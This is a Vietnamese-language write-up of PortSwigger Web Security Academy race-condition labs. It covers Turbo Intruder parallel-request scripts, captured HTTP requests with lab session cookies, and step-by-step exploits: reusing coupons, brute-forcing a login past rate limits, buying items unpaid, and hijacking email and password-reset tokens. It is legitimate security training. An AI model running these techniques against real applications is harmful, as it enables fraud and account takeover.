What is Race Conditions?

Mô tả về lỗ hổng race conditions:

Race conditions are a common type of vulnerability closely related to business logic flaws. They occur when websites process requests concurrently without adequate safeguards. This can lead to multiple distinct threads interacting with the same data at the same time, resulting in a "collision" that causes unintended behavior in the application.

Limit Overrun Race Conditions

Loại race condition phổ biến nhất là loại mà mục đích của nó là để vượt qua một số giới hạn nào đó do business logic của ứng dụng đặt ra:

The most well-known type of race condition enables you to exceed some kind of limit imposed by the business logic of the application.

Có thể phát hiện và tấn công bằng cách sử dụng Repeater của Burp Suite với chức năng “Send group (parallel)” hoặc sử dụng Turbo Intruder với cấu hình như sau:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                            concurrentConnections=1,
                            engine=Engine.BURP2
                            )
    
    # queue 20 requests in gate '1'
    for i in range(20):
        engine.queue(target.req, gate='1')
    
    # send all requests in gate '1' in parallel
    engine.openGate('1')

Hoặc cũng có thể xem template race-single-packet-attack.py của Turbo Intruder để tham khảo.

Lab: Limit Overrun Race Conditions

Tài khoản hiện tại là $50 và cần mua sản phẩm “Lightweight “l33t” Leather Jacket” có giá $1337.

Request áp dụng coupon giảm 20%:

POST /cart/coupon HTTP/2
Host: 0aa100bb0347cb24dbc0640100f400c5.web-security-academy.net
Cookie: session=P9vajENOC3qzjObre93Nk0ZoTRoeWz43
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 52
Origin: https://0aa100bb0347cb24dbc0640100f400c5.web-security-academy.net
Referer: https://0aa100bb0347cb24dbc0640100f400c5.web-security-academy.net/cart
 
csrf=XfyMMtC4YJHLRAztdg1SiMrdBpe1V2mf&coupon=PROMO20

Xóa coupon, gửi request trên đến Repeater của Burp Suite. Sao chép ra khoảng 30 tab và thêm chúng vào một group. Sau đó, chọn “Send group (parallel)” và nhấn gửi request nhằm áp dụng coupon nhiều lần.

Có thể sẽ cần phải thực hiện nhiều lần. Nếu sau khi tấn công mà giá không giảm xuống dưới `$50` thì có thể xóa coupon và tấn công lại.

Nhấn đặt hàng để hoàn thành lab.

Lab: Bypassing Rate Limits via Race Conditions

Request dùng để login:

POST /login HTTP/2
Host: 0a40004c03a1366380350d78001c0086.web-security-academy.net
Cookie: session=9ZjPUN2fD1rDEctZxpC2CR4mYhHI5PL1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Origin: https://0a40004c03a1366380350d78001c0086.web-security-academy.net
Referer: https://0a40004c03a1366380350d78001c0086.web-security-academy.net/login
 
csrf=CeiwVOgLqr90VwHQHD9j4jCDGushcyPd&username=carlos&password=peter

Nếu đăng nhập sai quá 3 lần thì sẽ bị rate-limit như sau:

<p class=is-warning>You have made too many incorrect login attempts. Please try again in 57 seconds.</p>

Sử dụng Turbo Intruder với 30 request thì thấy rằng ta có thể gửi hơn 3 POST request cùng lúc đến /login mà không bị rate-limit. Điều này chứng tỏ chức năng đăng nhập có lỗ hổng race condition.

Thay đổi cấu hình Turbo Intruder thành như sau:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                            concurrentConnections=1,
                            engine=Engine.BURP2
                            )
    
    for word in wordlists.clipboard:
        engine.queue(target.req, word, gate='1')
    
    # send all requests in gate '1' in parallel
    engine.openGate('1')
 
def handleResponse(req, interesting):
    table.add(req)
Payload list được trích xuất từ clipboard nên ta cần phải sao chép wordlist trước khi tấn công.

Thử một vài lần thì thấy có một response với status code là 302 tương ứng với password là 12345678.

Đăng nhập vào tài khoản carlos:12345678, truy cập vào /admin và xóa user carlos để hoàn thành lab.

Hidden Multi-step Sequences

Một request có thể khiến cho ứng dụng trải qua nhiều trạng thái con:

In practice, a single request may initiate an entire multi-step sequence behind the scenes, transitioning the application through multiple hidden states that it enters and then exits again before request processing is complete. We'll refer to these as "sub-states".

Nếu chúng ta có thể tìm ra một hoặc nhiều HTTP request mà tương tác với cùng một dữ liệu, ta có thể lạm dụng để khiến cho các trạng thái con không còn đúng nữa:

If you can identify one or more HTTP requests that cause an interaction with the same data, you can potentially abuse these sub-states to expose time-sensitive variations of the kinds of logic flaws that are common in multi-step workflows.

Ví dụ:

For example, you may be familiar with flawed multi-factor authentication (MFA) workflows that let you perform the first part of the login using known credentials, then navigate straight to the application via forced browsing, effectively bypassing MFA entirely.
 
The following pseudo-code demonstrates how a website could be vulnerable to a race variation of this attack:
 
~~~python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
~~~
 
As you can see, this is in fact a multi-step sequence within the span of a single request. Most importantly, it transitions through a sub-state in which the user temporarily has a valid logged-in session, but MFA isn't yet being enforced. An attacker could potentially exploit this by sending a login request along with a request to a sensitive, authenticated endpoint.

Có thể thấy, chỉ với một request mà ứng dụng đã đi qua rất nhiều bước tương ứng với rất nhiều trạng thái.

Methodology

Sau đây là các bước dùng để xác định lỗ hổng race condition:

Predict Potential Collisions

Trước tiên, ta cần chọn ra các endpoint cần test race condition.

Việc test hết tất cả các endpoint là bất khả thi. Để nhận diện endpoint nào cần phải test, ta có thể đặt 2 câu hỏi như sau:

- **Is this endpoint security critical?** Many endpoints don't touch critical functionality, so they're not worth testing.
- **Is there any collision potential?** For a successful collision, you typically need two or more requests that trigger operations on the same record.

Bên dưới là 2 cách implementation của việc reset password. Cách đầu tiên sử dụng userid làm key nhằm xử lý các request và race condition attack là không khả thi. Tuy nhiên, cách thứ hai lại sử dụng session là key và nếu 2 request được xử lý cùng lúc thì có thể xảy ra trường hợp userid của người này nhưng token lại là của người khác. Khi đó, sự đụng độ đã xảy ra.

Probe for Clues

Để xác định dấu hiệu của lỗ hổng race condition. Ta cần gửi các request theo cách bình thường (tuần tự) và xem hành vi của chúng.

Sau đó, gửi các request song song với nhau sử dụng “Send group (parallel)” của Repeater hoặc Turbo Intruder.

Mọi thứ đều có thể là dấu hiệu:

Anything at all can be a clue. Just look for some form of deviation from what you observed during benchmarking. This includes a change in one or more responses, but don't forget second-order effects like different email contents or a visible change in the application's behavior afterward.

Prove the Concept

Cố gắng hiểu chuyện gì đã xảy ra ở phía server, xóa các request không cần thiết và tái hiện lại các dấu hiệu đã phát hiện.

Multi-endpoint Race Conditions

Ví dụ về Multi-endpoint Race Conditions:

Think about the classic logic flaw in online stores where you add an item to your basket or cart, pay for it, then add more items to the cart before force-browsing to the order confirmation page.

Một ví dụ khác của lỗ hổng này là khi việc kiểm tra thanh toán và xác nhận đơn hàng được trigger bởi một request.

Khi đó, ta có thể tấn công race condition bằng cách thêm sản phẩm khi đang thanh toán.

Aligning Multi-endpoint Race Windows

Khi test race condition, mặc dù các request được gửi song song với nhau sử dụng kỹ thuật Single-Packet nhưng chúng vẫn có các độ trễ nhất định. Vấn đề này thường xảy ra do 2 yếu tố:

  • Độ trễ gây ra bởi kiến trúc mạng: front-end server cần phải khởi tạo kết nối đến back-end server. Giao thức sử dụng cũng có ảnh hưởng.
  • Độ trễ gây ra bởi việc xử lý một endpoint cụ thể: các endpoint khác nhau có thể có độ trễ khác nhau tùy thuộc thao tác mà nó trigger.

Có một vài cách để giải quyết vấn đề này.

Connection Warming

Nếu chúng ta gửi một nhóm các request tuần tự mà chỉ có request đầu tiên có response time lâu hơn các request còn lại thì ta biết chắc rằng độ trễ này là do việc thiết lập kết nối đến server chứ không phải là do race condition.

Nếu vẫn còn xảy ra hiện tượng response time của một endpoint không đều thì việc khởi tạo kết nối đến server có làm ảnh hưởng đến các request dùng để tấn công.

Để giải quyết vấn đề này thì ta cần “hâm nóng” kết nối trước. Cụ thể hơn, ta sẽ gửi một vài request vô thưởng vô phạt (GET trang chủ, tải static file, etc) để server thiết lập xong các kết nối trước khi thực hiện test race condition.

Abusing Rate or Resource Limits

Nếu sử dụng Turbo Intruder, ta có thể làm giảm độ trễ ở phía client. Tuy nhiên, khi đó, các request tấn công sẽ nằm ở nhiều gói tin TCP khác nhau chứ không còn ở trong một gói duy nhất nữa và do đó mà ta không còn có thể sử dụng kỹ thuật Single-Packet để đảm bảo độ trễ của các gói tin tấn công là bằng nhau.

Để giải quyết vấn đề này, ta có thể tận dụng một tính năng bảo mật phổ biến.

Các web server thường gián đoạn việc xử lý các request nếu chúng được gửi đến quá nhiều và quá nhanh. Lạm dụng điều này, ta có thể gửi một lượng lớn các gói tin rác để trigger rate limit. Khi đó, Single-Packet attack sẽ thành công.

Lab: Multi-endpoint Race Conditions

Tài khoản hiện tại có $100 và ta cần mua sản phẩm “Lightweight l33t Leather Jacket” có giá $1337.

Request dùng để thêm sản phẩm vào giỏ hàng:

POST /cart HTTP/2
Host: 0a1f001b043d23a480de0db80045006b.web-security-academy.net
Cookie: session=eA9FMwsvl3Ov9OFJ38hz8LYEvqLx2kWU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: https://0a1f001b043d23a480de0db80045006b.web-security-academy.net
Referer: https://0a1f001b043d23a480de0db80045006b.web-security-academy.net/product?productId=2
 
productId=2&redir=PRODUCT&quantity=1

Request dùng để thanh toán:

POST /cart/checkout HTTP/2
Host: 0a1f001b043d23a480de0db80045006b.web-security-academy.net
Cookie: session=eA9FMwsvl3Ov9OFJ38hz8LYEvqLx2kWU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: https://0a1f001b043d23a480de0db80045006b.web-security-academy.net
Referer: https://0a1f001b043d23a480de0db80045006b.web-security-academy.net/cart
 
csrf=e65NtH4afFEC0SPq5XMCeequFd1hgiYy

Khi gửi hai request này song song, đôi khi xảy ra trường hợp mà response của request thứ hai có nội dung như sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 20
 
"Your cart is empty"

Điều này cho thấy: cả 2 request trên đều cùng thao tác trên cơ sở dữ liệu của giỏ hàng và khi request thứ nhất chưa kịp thực hiện xong thì request thứ đã được xử lý.

Gửi request thêm sản phẩm “Lightweight l33t Leather Jacket” vào giỏ hàng cùng lúc với 2 request trên thì thấy xảy ra trường hợp cho dù đã thêm 2 sản phẩm thì response "Your cart is empty" vẫn được trả về. Suy ra được rằng request thêm sản phẩm vào giỏ hàng cần thời gian rất lâu để xử lý.

Giả sử quy trình thanh toán diễn ra theo các bước sau:

  1. Kiểm tra giỏ hàng xem có rỗng hay không
  2. Tính tổng tiền hàng và so sánh với số dư
  3. Thanh toán và trừ số dư

Nếu chúng ta có thể khiến cho request thêm sản phẩm “Lightweight l33t Leather Jacket” đến sau bước số 3 thì ta có thể thanh toán thành công. Tuy nhiên, ta cần phải vượt qua bước 1 và bước 2. Để làm được điều này, ta sẽ thêm sản phẩm bất kỳ vào giỏ hàng trước. Sau đó, gửi request thêm sản phẩm “Lightweight l33t Leather Jacket” vào giỏ hàng cùng lúc với request thanh toán.

Thử một vài lần thì thành công.

Single-endpoint Race Conditions

Gửi nhiều request song song nhau với các giá trị đối số khác nhau đến cùng một endpoint đôi khi có thể trigger race condition.

Ví dụ chức năng reset password lưu user ID và reset token ở trong session của user. Bằng cách gửi hai request để reset password với cùng một session nhưng với hai username khác nhau, ta có thể gây ra collision như sau:

Chú ý rằng trạng thái cuối của các thao tác trên là:

  • session['reset-user'] = victim
  • session['reset-token'] = 1234

Khi đó, session sẽ chứa username của nạn nhân nhưng reset token thì lại là của admin.

Các thao tác liên quan đến email chẳng hạn như confirm email thường là mục tiêu để tấn công Single-endpoint Race Conditions. Lý do là vì trong thời gian các email được gửi đến background thread sau khi HTTP response được trả về, chúng ta có thể tiếp tục gửi các request nhằm tấn công race condition.

Lab: Single-endpoint Race Conditions

Request thay đổi email:

POST /my-account/change-email HTTP/2
Host: 0af9002f03ab9b11eb6ab13b00110045.web-security-academy.net
Cookie: session=URKVtVNLGp2LCARvs3TyviAmCPyBFjGY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: https://0af9002f03ab9b11eb6ab13b00110045.web-security-academy.net
Referer: https://0af9002f03ab9b11eb6ab13b00110045.web-security-academy.net/my-account?id=wiener
 
email=wiener%40exploit-0a8b00a2037b9bfeeb18b09b01a800a4.exploit-server.net&csrf=brEXaOICPbubH0KgOIcjs7cbQ8Y2x2W2

Sao chép ra thêm một request với emailcarlos@ginandjuice.shop, gom nhóm chúng lại với nhau và gửi chúng song song với nhau.

Thử một vài lần thì thấy mailbox của wiener@exploit-0a8b00a2037b9bfeeb18b09b01a800a4.exploit-server.net có một email như sau:

Nhấn vào link để gửi GET request sau:

GET /confirm-email?user=wiener&token=uGgGDq4Y7iqaSsaN HTTP/2
Host: 0af9002f03ab9b11eb6ab13b00110045.web-security-academy.net

Mặc dù user là của wiener nhưng token thì lại là của carlos. Sau khi gửi request thì ta cập nhật email thành công thành carlos@ginandjuice.shop.

Truy cập trang /admin và xóa user carlos để hoàn thành lab.

Session-based Locking Mechanisms

Một vài framework cố gắng ngăn chặn race condition bằng cách sử dụng cơ chế request locking. Ví dụ, native session handler của PHP chỉ xử lý một request trong một session tại một thời điểm. Tức là, các request trong cùng một session được xử lý tuần tự. Để bypass điều này, ta có thể sử dụng các request tấn công với nhiều session khác nhau.

Time-sensitive Attacks

Dù ta có thể không tìm thấy lỗ hổng race condition nhưng kỹ thuật dùng để gửi các request đúng thời điểm có thể giúp dẫn đến các lỗ hổng khác.

Ví dụ:

One such example is when high-resolution timestamps are used instead of cryptographically secure random strings to generate security tokens.
 
Consider a password reset token that is only randomized using a timestamp. In this case, it might be possible to trigger two password resets for two different users, which both use the same token. All you need to do is time the requests so that they generate the same timestamp.

Cụ thể hơn, security token được tạo ra từ timestamp có thể bị khai thác nếu cả 2 request reset token đều đến server cùng một thời điểm. Khi đó, attacker có thể dùng token này để reset password của nạn nhân.

Lab: Exploiting Time-sensitive Vulnerabilities

Request thay đổi email:

POST /forgot-password HTTP/2
Host: 0adf0075034e8029c572012200120079.web-security-academy.net
Cookie: phpsessionid=t4oIuKehLy3JdF5bof174MuUO5HbKyf5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Origin: https://0adf0075034e8029c572012200120079.web-security-academy.net
Referer: https://0adf0075034e8029c572012200120079.web-security-academy.net/forgot-password
 
csrf=EAqvCdtuyEp0IC28TWbQ1iZ5sRBw0fMj&username=wiener

Sao chép ra thêm một request với usernamecarlos, gom nhóm các request lại với nhau và gửi chúng song song. Kiểm tra mailbox thì nhận được đường link đến form thay đổi password như sau:

https://0adf0075034e8029c572012200120079.web-security-academy.net/forgot-password?user=wiener&token=138ae9d3c8a1033144a14fb417dd62722c433c50

Thử thay đổi user thành carlos thì nhận được response như sau:

HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 15
 
"Invalid token"
Phát hiện ra ứng dụng sử dụng cookie là `phpsessionid` của PHP. Do cơ chế request locking của PHP mà đã được đề cập ở [[#session-based-locking-mechanisms|Session-based Locking Mechanisms]], ta cần sử dụng một `phpsessionid` và một `csrf` token khác cho request với `username` là `carlos`.

Thử lại một vài lần thì có thể truy cập vào /forgot-password với usercarlos thành công.

Đổi password của carlos, đăng nhập bằng carlos và xóa carlos để hoàn thành lab.

Resources